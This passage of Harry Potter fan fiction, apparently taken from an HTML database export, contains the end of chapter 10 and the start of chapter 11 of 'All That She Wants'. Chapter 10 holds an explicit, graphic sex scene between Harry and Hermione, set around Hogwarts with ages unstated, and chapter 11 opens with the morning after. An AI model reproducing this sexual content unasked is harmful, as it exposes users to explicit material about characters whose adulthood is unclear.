style="text-indent:.25in">&#8220;No I&#8217;m not just saying that, I\nhappen to think that you are the most beautiful thing ever created.&#8221; He cupped\nher cheek and placed a tiny kiss to her forehead.&nbsp; Harry restrained himself from grabbing her\nand pulling her against him and kissing the senses out of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took her hand and brought\nher back over to the tub, &#8220;Now come on, before you lose your nerve.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and hurried out of\nher clothing, she turned around until he was finished.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A smiled appeared on Harry&#8217;s face\nas he glanced down at her hips, her derriere. &#8220;You are aware that even if\nyou&#8217;re turned around I can still see how nice a butt you have.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gasped, she flushed even\nbrighter she was sure all of her skin was red.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chuckled lightly as he got\ninto the warm water. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hearing the water splash a bit\nHermione turned around, her arms crossed in front of her covering her chest\nfrom anyone&#8217;s view, although it didn&#8217;t do much good at least the important\nparts were covered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right fine here,&#8221; Harry\nclosed his eyes and Hermione hurried over and got into the water, she was\nscooted towards the front, her legs were brought up and up against her chest as\nshe hugged them with her arms.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, stop\nbeing silly.&#8221;&nbsp; Harry moved forward\na bit leaning his chin on her shoulder looking up at the side of her face.&nbsp; &#8220;I won&#8217;t do anything to you, honestly I\nwon&#8217;t.&#8221; He said softly, comfortingly.&nbsp;\nHarry circled his arms around her neck resting them against her chest,\nabove her breasts and pulling her back against him.&nbsp; &#8220;There now, that&#8217;s much better.&#8221; He smiled</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione feeling a tad more\ncomfortable let her head fall back resting against his chest, she felt his chin\nrest on the top of her head.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Perhaps this would be all right&#8217;</i>\nHermione thought to herself, <i style="mso-bidi-font-style:normal">&#8216;Its actually quite pleasant&#8217;</i> her head commented.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There now, this isn&#8217;t so bad is\nit?&#8221; Harry softly said into her ear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, it&#8217;s really nice.&#8221; She\nanswered quietly.&nbsp; Hermione lifted her\nhand and took up one of his, looking at it.&nbsp;\n&#8220;I never realized how big your hands are.&#8221; She measured them against\nhers.&nbsp; &#8220;Look how much bigger yours is\nthan mine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you know what they say about\nguys and big hands.&#8221; Harry said which earned him an elbow in the gut from\nHermione. &#8220;Ow.&#8221; He laughed, &#8220;Hey how did you what I\nwas gonna say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because I know you,&#8221; She laughed\nlightly. &#8220;You were going to say something pertaining to your family jewels.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you dirty girl I wasn&#8217;t going\nto say anything like that, I was going to say, Guys with big hands need bigger\ngloves.&#8221; Harry smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you are such a liar.&#8221; Hermione\ncouldn&#8217;t disguise the amusement in her voice.&nbsp;\nShe heard Harry laughing right along with her.&nbsp; She smiled and snuggled closer against\nhim.&nbsp; &#8220;So this is what it feels like to\nbe one of Harry Potter&#8217;s dates.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry hugged his arms about her\ntighter, &#8220;No, this is something I have never done.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What you have never bathed?&#8221;\nHermione tried to sound shocked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A tiny laugh escaped from Harry,\n&#8220;No not that silly.&#8221; He pinched her arm lightly and he heard her laugh\ntoo.&nbsp; He loved her laugh.&nbsp; &#8220;You are special to me Hermione,\nno one else makes me feel the way you make me feel.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And how&#8217;s that.&#8221; Hermione said\nlooking at the bubbles.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like I mean something to you,\nwhen we talk its only me you see.&nbsp; Not some famous guy who destroyed evil and\nsaved the world.&#8221; He said a little proudly causing Hermione to chuckle a\nlittle.&nbsp; &#8220;I always look forward to seeing\nyou, talking with you, even just sitting with you.&nbsp; You well, you light up my life.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay, if you start singing\nthere&#8217;s gonna be trouble.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh so you think my singing is bad\ndo you?&#8221; He poked her gently in the side, making her squeal softly with\nlaughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No not at all, just if you sing\nhow are you going kiss me?&#8221; She said confidently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry blinked a couple of times, <i style="mso-bidi-font-style:normal">&#8216;Did she just say that&#8230;yes she did what are\nyou waiting for?&nbsp; I don&#8217;t know, I seem to\nbe frozen in place, damn it I can&#8217;t move, what a time for&#8212;&#8217;</i> His thoughts\nwere immediately silent cause Hermione had turned around, pressing her lips\nagainst his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione wasn&#8217;t getting any\nresponse so she pulled away. &#8220;Was that wrong?&#8221; She asked unsure of what to do.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry blinked as if coming to; He\nstared at her for a long moment then cupped the back of her head and pulled her\nmouth against his.&nbsp; He heard Hermione\nsigh as he tugged on her mouth with his own, her lips parted and he dived in\ntasting everything she had to offer. His tongue was slowly and skillfully\nplaying against hers. Her taste was sweet and tangy, he could still taste the\nchocolate from the dessert they had.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His hands gripped her shoulders,\nrubbing and moving down her smooth wet back.&nbsp;\nHis arms closing around her so tight as he\nkissed her again and again.&nbsp; The feel of\nher naked breasts pressed up against him caused him to shiver pleasantly, he\nmoaned softly into her mouth.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione needed air so she pulled\nback, taking in air.&nbsp; Her eyes were\nclosed and her face was flushed.&nbsp; As she\ntook a breath she felt his lips touch her neck, she gasped.&nbsp; Harry&#8217;s fingers were gently massaging her\nshoulders, her skin felt like it was on fire, everywhere he touched she felt\nlittle sparks of desire shoot through her.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She didn&#8217;t even realize that she\nhad her fingers completely buried in his hair, clutching at his head.&nbsp; His mouth returned to hers and she kissed him\nback just as fierce.&nbsp; She was growing\nhotter and it wasn&#8217;t from the warm bath water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry pulled away, &#8220;Hermione, I\nthink we should stop.&#8221; He said breathlessly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was Hermione&#8217;s turn to blink at\nhim, &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I just want you, too much.&nbsp; I don&#8217;t want to rush you or anything.&#8221; He\ntook a breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione also took a breath, she\nwas feeling so different tonight, perhaps it was the food, the romantic\nsetting, everything.&nbsp; She knew she would\nprobably kick herself in the morning, but she didn&#8217;t want to stop.&nbsp; If anything she worried about happened it was\nher own fault and she would blame herself.&nbsp;\nBut right now all she wanted to do was be with him mostly because she\nloved him.&nbsp; She made her decision, &#8220;But I\ndon&#8217;t want to stop.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t?&#8221;&nbsp; Harry was confused. &#8220;Do you even know what\nyou&#8217;re saying?&#8221; He searched her eyes carefully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know what I&#8217;m saying,&#8221; Hermione\nleaned her forehead against his chest and circled her arms about his\nwaist.&nbsp; &#8220;I know exactly what I am saying;\nI want to be with you Harry. I really do.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry rested his cheek on the top\nof her head, &#8220;All right Hermione.&#8221; He took in the scent of her hair, like fresh\nblackberries and cream.&nbsp; &#8220;Then we should\nget out of the tub now.&#8221; He said moving her hair off her back, stroking his\nfingers through her soft locks. He then lifted her out of the tub and she\nimmediately circled her legs about his waist.&nbsp;\n&#8220;Hermione can you stand up?&nbsp; We need to dry off.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But I don&#8217;t want to let go.&#8221; She\nsmiled into his chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We have to dry off, come on\nplease.&nbsp; There&#8217;s nothing I would rather\ndo than hold you all night, but I don&#8217;t want to get the sheets wet with\nwater.&nbsp; There&#8217;s other things I would like\nto do with you to make my sheets wet.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gasped loudly.\n&#8220;Harry!&#8221;&nbsp; She almost let go out of pure\nshock.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Harry said innocently, as\nhe felt her slip down from him then finally standing on her feet.&nbsp; He grabbed the towels from the side of the tub,\nwrapping one around her and then one around him; he dried himself off and then\nwaited for Hermione to dry herself off.&nbsp;\nHarry thought she looked so cute wrapped up in that fluffy white towel.&nbsp;&nbsp; Harry took her hand and pulled her through\nthe door into his room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know if you want to back out\nnow you can, it&#8217;s your choice.&#8221; Harry said after feeling her hand trembling in\nhis.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s fine. I&#8217;m just a bit nervous.&#8221; She smiled\nuncomfortably&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry immediately took her into\nhis arms, hugging her tightly.&nbsp; &#8220;I don&#8217;t\nwant you to be afraid or anything, this is really once of the most wonderful of\nthings two people can actually share together.&#8221; He pressed his lips firmly\nagainst her forehead.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s easy for you to say,\nyou&#8217;ve done this probably at least a hundred times already.&#8221; She said uneasily.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry laughed a bit, &#8220;Well not\nquite that much.&#8221; He kissed the side of her head, his lips moving downward, he\nheard Hermione sigh.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s arms went around him as\nshe felt his mouth nearing hers, she couldn&#8217;t wait he was taking to long so she\nmet him half way covering his mouth with her own.&nbsp; Harry moaned as his arms went around her,\npractically lifting her up against him, he didn&#8217;t want to let go.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\nHer skin was soft and warm as his fingers danced over her shoulders,\ndown her back where he was halted by the fluffy towel.&nbsp; Harry brought his hands around the front\nwhere he undid the secure towel and it fell, crumpling at her feet.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">There,\nthat was much better&#8217; &nbsp;he</i> thought to himself, his\nhands immediately flattened against her back and he felt her shiver with the\ncontact from his hands.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">What happened next surprised even\nhim, Hermione had grabbed him about the shoulders and pulled him until the both\nlanded on the bed Harry being on top of her, she then lifted her leg and snaked\nit around him, her ankle coming to rest in the back of his knee.&nbsp; He gasped breaking their kiss.&nbsp; Harry looked down, Hermione&#8217;s eyes were half\nclosed and her lips were swollen from their kisses.&nbsp; She never looked better.&nbsp; He cleared his throat, &#8220;I&#8217;m not too heavy am\nI?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head, &#8220;No.&#8221; She\nsaid quietly, her hands rubbing up and down his back.&nbsp; &#8220;You feel wonderful.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry actually turned red with the\ncompliment, he watched her a moment.&nbsp; His\ngaze roaming over her face, her full very kissable sweet lips, her cute\nnose.&nbsp; The way her cheeks wore a slight\nblush, but then one look in her warm chocolate eyes and he seemed to forget\nanyone else ever existed, within her eyes he felt complete.&nbsp; He watched her lips part as she took in a\nbreath and wet her bottom lip with the tip of her soft pink tongue; he shivered\nand leaned in kissing her again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">This time the kiss wasn&#8217;t soft or\nsweet, it was hot, burning, devouring.&nbsp;\nMouths fused, tongues clashing powerfully, hands caressing every bare\ninch of skin, Harry&#8217;s hands wandering down over her breasts where he felt her\njump and clutch at his shoulders when he teased her nipples with his thumbs\ngently barely brushing against them.&nbsp; He\nheard her delighted moan, she was so sensitive already, and that pleased him. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione seemed to purr when his\nmouth left hers and moved to her neck, she tilted her head back a little giving\nhim more access to the areas on her neck where his lips and tongue\ntouched.&nbsp; She felt him suckling a little\non the spot just between her neck and shoulder; she gave a delighted moan, and\nsmiling just a little.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s hand cupped her full\nbreast in his hand, which she gasped from the contact as he gently caressed her\nsoft yet firm skin.&nbsp; Hermione felt as his\nlips gently closed over the hardened tip and play with it with his tongue.&nbsp; A soft cry escaped her lips as the new hot\nsensations his mouth and hands were creating rushed through her.&nbsp; Her eyes closed in complete bliss.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His mouth wandered back up to hers\nwhere he kissed her full and deep as he cupped her cheeks within his hands,\nrunning his thumb along the bottom of her cheek.&nbsp; Harry felt her heart beating through her\nchest up against his.&nbsp; He reached around\nand removed the towel that was still secure around his waist.&nbsp; Hermione pulled away and gasped in surprise\nas his erection pressed right up against the area between her thighs.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He took one of Hermione&#8217;s hands in\nhis own and brought it down between the both of them, Harry needed to feel her\nsoft hand around him, he just had to.&nbsp; Seeming to understand what he wished of her,\nHermione allowed her hand to be brought down and rub gently against his\nerection.&nbsp; She let her fingers close\naround him and then it was his turn to gasp.&nbsp;\nShe smiled and was still amazed at the way he felt, she continued to\nexperiment a little, she found if she moved her hand a certain way Harry would\nlet out some kind of strangled moan. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wondered if she was\ntorturing him on purpose, well if she was he didn&#8217;t want her to stop, her hand\nfelt really good.&nbsp; He gasped out her\nname, it sounded purely desperate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As Hermione touched and handled\nhim she seemed to be growing hotter, wanting to feel what it would be like with\nhim inside her.&nbsp; She couldn&#8217;t believe her\nthoughts, good girls don&#8217;t think like that.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;They very well can.&#8217;</i> Her mind\nargued.&nbsp; Hermione didn&#8217;t want to think,\nshe wanted to feel so she pushed her annoying thoughts away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione?&#8221;\nHe asked breathlessly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He didn&#8217;t need to finish his\nquestion; she answered it already knowing what he was asking by the tone in his\nvoice.&nbsp; Hermione opened her legs and\nshifted a bit so he was positioned right at her entrance.&nbsp; She gasped as he slowly pressed into her.&nbsp; Hermione couldn&#8217;t believe it, the feeling was\ncompletely amazing, words couldn&#8217;t describe all the\nfeelings and sensations rushing through her.&nbsp;&nbsp;&nbsp;\nShe opened her eyes and could see that he was straining to keep himself\nfrom just plunging into her; he really was sensitive when it came to her.&nbsp; She watched him until the pleasure became\nmore intense and her eyes closed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She often heard from other females\naround Hogwarts that it hurt when they had first been with their lovers, but\nshe didn&#8217;t feel any pain at all.&nbsp;\nHermione then remembered that ladies who often\nrode horses, which was a constant past time of hers when she was at home; well\nthey hardly felt any pain when they had lost their flowers.&nbsp; She didn&#8217;t have time to think about it\nbecause Harry stared to move just a little faster.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right?&#8221;&nbsp; Harry breathed out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, she couldn&#8217;t\nspeak for the amount of pleasure that was running through her caused her to\nlose all coherent thought.&nbsp; She grabbed\nharder at his shoulders panting and making small appreciative noises.&nbsp; Harry leaned down kissing her as he grabbed\nher about the waist pulling her against him as he thrust inside her, he heard\nher squeak with surprise.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wanted her to feel really\ngood too so he would help her out a bit; he hoped he wasn&#8217;t hurting her.&nbsp; She didn&#8217;t seem to feel any pain or\ndiscomfort when he first entered her, but he couldn&#8217;t be sure.&nbsp; Some girls had really thin hymens she just\nmust have been one of them.&nbsp; He was glad\nhe didn&#8217;t cause her pain he hated seeing her like that.&nbsp;&nbsp; She seemed to get the hang of it because she\nwas now moving with him and he could tell by the looks and the wonderful noises\nshe was making that she was enjoying it much more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He moved in and out of her harder,\nbut she didn&#8217;t seem to mind for her legs wrapped around him. &#8220;Am I hurting\nyou?&#8221; He panted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Hermione said giving him a\nsoft smile then gripped him about the shoulders hard, and wrapped her arms\naround him tightly bringing his lower body down up against hers as he moved\nharder and faster inside her.&nbsp; &#8220;Oh&#8230;Gods&#8230;&#8221;\nShe panted, not believing these kind of feelings and\nemotions were even possible.&nbsp; Until now.&nbsp; Harry felt\nher moving beneath him, harder she pressed up against him increasing both her\npleasure and his.&nbsp; He was on the edge and\nby the way Hermione was moving she was too, he increased his speed after a couple\nof minutes her head flew back, her back arched and a loud wonderful scream of a\nmost electrifying release</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her skin felt like it was on fire;\nevery inch of her was seething with nerves of hot pleasurable sensations.&nbsp; Hermione didn&#8217;t even hear Harry cry out his\nrelease she was still reeling from her own, she didn&#8217;t even know where she\nwas.&nbsp; She was in a pleasingly numb state,\nheck she didn&#8217;t care if the world was coming to an end, she did not want to\nmove or even think.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry buried his face in between her\nneck and shoulder, breathing hard, he could hear Hermione panting and calming\ndown from their shared experience.&nbsp; He\nlooked around noticed the covers were all messed and crumpled.&nbsp; He didn&#8217;t realize they had gone that crazy, he smiled as he pulled the covers over them.&nbsp; Harry rolled them over on their sides as he\npulled out of her, he heard her gasp at that.&nbsp;\nYep she was very sensitive all right and he smiled again, moving the hair\noff her forehead as he gazed at her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are so beautiful Hermione.&#8221; He said quietly, nuzzling\nclose to her.&nbsp; Harry felt really sleepy,\n&#8220;I love you.&#8221; He waited and when he didn&#8217;t get an answer he lifted his head\nlooking at her.&nbsp; He tiled his head to the\nside and smiled, she was asleep and on her face was the most beautiful smile he\nhad ever seen.&nbsp; Harry kissed the tip of\nher nose &#8220;I love you.&#8221; He whispered then laid his head against her shoulder,\nthrowing his arm over her and pulled her close.&nbsp;\nHe closed his eyes and sleep soon found him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ah the end of chapter 10, was that\na long chapter or what? Heehee well the next chapter\nis the last and final chapter of All That She Wants, Yes *Sniffle* I am sad\ntoo, but all good things must end.&nbsp; We until then, C-ya all later.&nbsp; Don&#8217;t forget to review.&nbsp;&nbsp; Thanks for reading I love you all, Ryoko Blue</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(15, 11, ' <p>All That She Wants</p>\n\n<p>Chapter 11&#8212; The Best Years of Our Lives</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Disclaimer: I don&#8217;t own any of it, except the story line ^.^<br>\n\n\n<br>\n &nbsp;</p>\n\n<p>The bright moonlight spilled over Hermione&#8217;s figure as she stared out the window into the night sky, she felt extremely troubled, with a heavy sigh she seated herself on the window seat.&nbsp; Wrapped in heavy wool blanket she snuggled up closer against the glass.&nbsp; Hermione was waiting for the initial doom that was heading her way, she was sure the next words that came out of Harry&#8217;s mouth weren&#8217;t gonna be the ones she wanted to hear.&nbsp; Perhaps she should just go back to her room and avoid this whole confrontation.</p>\n\n<p>&nbsp;</p>\n\n<p>Feeling cold from the loss of the warm body that was next to him, Harry reached out to pull Hermione close, his hand came down on the mattress, feeling around a bit.&nbsp; When it registered in his sleepy mind that he was alone, his eyes snapped opened.&nbsp; He glanced around for a moment and found that yes indeed Hermione was gone.&nbsp; Harry sat up and slowly looked about the room; a surge of relief flooded him when he saw Hermione sitting over by the window, he quickly grabbed his glasses and put them on.&nbsp; Harry could tell she was clearly deep in thought.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione?&#8221; Harry shifted in his bed a bit creating a small squeak.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s head whipped around in his direction, yet she didn&#8217;t say anything.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you doing over there?&#8221; He asked, rubbing his tired eyes, the rims of his glasses lifting up a bit.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just thinking,&#8221; She quietly answered with a small smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you leaving?&#8221; Harry dared to ask, he had never been left alone in the middle of the night before.&nbsp; He certainly didn&#8217;t want to be left alone by Hermione, the young woman that he loved.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I had thought about it.&#8221; She brushed back a lock of stray hair behind her ear and stood up; Hermione clutched the blanket against her bosom to keep it from falling down.&nbsp; &#8220;I really didn&#8217;t want to hear from you the words I dread,&#8221; She took a breath and moved over to the side of his bed, &#8220;I didn&#8217;t want to hear that you didn&#8217;t love me after all.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded, understanding her fear.&nbsp; He looked up at her into her eyes, &#8220;You have nothing to worry about, I love you and I&#8217;m not going to take it back.&#8221;&nbsp; He reached his hand out for her, &#8220;This bed is cold.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I could just get you a hot water bottle and you&#8217;d be all set.&#8221; Hermione teased.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;True but a water bottle doesn&#8217;t have those loving arms to wrap around me, or &nbsp;that neck to nibble on, and a body to become inflamed with passion when I caress it.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head, &#8220;You are such a shameless flirt.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know,&#8221; Harry grinned, &#8220;Come on now, I&#8217;m lonely.&#8221; He looked up at her giving her the lonely puppy dog look.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled, amused and moved towards the bed.&nbsp; She slipped into the blankets next to Harry, and she felt him pull her close.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There now, that&#8217;s much better.&#8221; He nuzzled her neck with his nose, and leaned his head against her shoulder. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, I&#8212;&#8221; Hermione was cut off as Harry pressed his index finger against her lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shh, I just want to hold you and cuddle you.&#8221;&nbsp; He kissed her gently but only for a moment.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione gave off a soft sigh as she snuggled closer to Harry; her eyelids were feeling very heavy as they started to droop and then close.&nbsp; Dreams soon invaded her mind.</p>\n\n<p>&nbsp;</p>\n\n<p>*******</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was already in the middle of breakfast when Blaise walked in; he glanced up at her as she sat down.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re a bit late this morning.&#8221; Harry said, then stuck a piece of bacon in his mouth.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well you weren&#8217;t the only one who had a romantic evening last night.&#8221; Blaise answered rather smugly while grabbing the pitcher of juice and pouring some into her cup.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re kidding, you and&#8230;&#8221; Harry thought a moment, wondering if she was with the same fellow as before.&nbsp; &#8220;Oh who is the flavor of the week Blaise my dear.&#8221; He grinned</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco! You Moron,&#8221; Blaise chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry laughed, &#8220;Well with you my dear, you never know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh please, honestly Harry you were the one that has always had a different girl every week, I just had a different guy every two weeks or so.&#8221; She snickered.&nbsp; &#8220;But not anymore, I think my roaming days are over.&#8221; Blaise glanced over at Draco for a moment before returning to her breakfast.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I know what you mean.&#8221; He didn&#8217;t dare look at 